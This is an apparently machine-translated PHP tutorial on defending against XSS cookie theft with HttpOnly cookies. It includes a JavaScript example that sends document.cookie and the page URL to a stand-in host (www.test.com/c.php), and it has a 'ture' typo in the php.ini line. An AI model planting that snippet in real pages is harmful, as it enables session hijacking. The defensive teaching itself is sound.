XSS Defense PHP leverages httponly anti-XSS attack _php Instance

Source: Internet
Author: User

The concept of XSS is needless to say, its harm is enormous, this means that once your site has an XSS vulnerability, you can execute arbitrary JS code, the most frightening is the attackers use JS to obtain cookies or session hijacking, if this contains a large number of sensitive information (identity information, Administrator information) and so on, that's over.

The following JS get cookie information:

Copy Code code as follows:

Url=document.top.location.href;
Cookie=document.cookie;
C=new Image ();
C.src= ' http://www.test.com/c.php?c= ' +cookie+ ' &u= ' +url;

The general cookie is obtained from the Document object, and now the browser generally accepts a parameter called HttpOnly, like domain and other parameters, when setting cookies, once the HttpOnly is set, You can't see cookies in the browser's Document object.

PHP settings HttpOnly:

Copy Code code as follows:

In php.ini, session.cookie_httponly = ture to open the HttpOnly property of the global cookie
Ini_set ("Session.cookie_httponly", 1);

or the seventh parameter of Setcookie () is set to True
Session_set_cookie_params (0, NULL, NULL, NULL, TRUE);

For PHP5.1 Previous versions of PHP through:

Copy Code code as follows:

Header ("Set-cookie:hidden=value; HttpOnly ");

In the end, HttpOnly is not omnipotent!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.